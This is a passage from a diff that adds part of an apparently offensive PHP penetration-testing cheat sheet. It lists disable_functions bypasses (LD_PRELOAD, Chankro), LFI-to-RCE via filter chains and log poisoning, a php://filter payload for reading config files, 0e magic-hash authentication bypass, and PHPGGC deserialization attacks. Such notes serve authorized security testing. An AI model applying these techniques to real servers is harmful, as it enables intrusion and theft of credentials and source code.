|
+
# open_basedir: directory restriction
|
|
239
|
+
# allow_url_include: RFI possible if On
|
|
240
|
+
# session.save_path: where sessions are stored
|
|
241
|
+
|
|
242
|
+
---
|
|
243
|
+
|
|
244
|
+
## PHP disable_functions Bypass
|
|
245
|
+
|
|
246
|
+
# If exec/system/passthru blocked via disable_functions:
|
|
247
|
+
# Method 1: PHP 7.x LD_PRELOAD bypass
|
|
248
|
+
# Method 2: Imagick/GhostScript RCE bypass
|
|
249
|
+
|
|
250
|
+
# Check disabled functions:
|
|
251
|
+
# phpinfo() → disable_functions row
|
|
252
|
+
|
|
253
|
+
# Common bypass libraries:
|
|
254
|
+
# https://github.com/AntSwordProject/AntSword-Labs (disable_functions bypass)
|
|
255
|
+
# Chankro tool for LD_PRELOAD bypass
|
|
256
|
+
|
|
257
|
+
---
|
|
258
|
+
|
|
259
|
+
## Pro Tips
|
|
260
|
+
|
|
261
|
+
1. `phpinfo.php`, `info.php`, `test.php` — check ALL of these, very commonly exposed
|
|
262
|
+
2. PHP filter chain generator creates RCE from LFI with no file upload needed
|
|
263
|
+
3. Type juggling with `0e` magic hashes bypasses MD5-based password verification
|
|
264
|
+
4. PHPGGC covers gadget chains for 30+ PHP frameworks — serialize attack any app
|
|
265
|
+
5. `php://filter/convert.base64-encode/resource=` reads any PHP file including config
|
|
266
|
+
6. Always test `.php~`, `.php.bak`, `.php.old` extensions for source code backups
|
|
267
|
+
7. Log poisoning via User-Agent is reliable LFI → RCE if Apache/Nginx log is readable
|
|
268
|
+
|
|
269
|
+
## Summary
|
|
270
|
+
|
|
271
|
+
PHP testing = `phpinfo.php` exposure + LFI via `php://filter` + type juggling auth bypass + deserialization (phpggc) + file upload extension bypass. PHP filter chains are the most powerful LFI technique — they enable RCE without any file upload. Type juggling (`0e` magic hashes, array bypass) breaks authentication in poorly coded apps. phpinfo() reveals the entire server configuration including disable_functions, enabling targeted exploitation.
|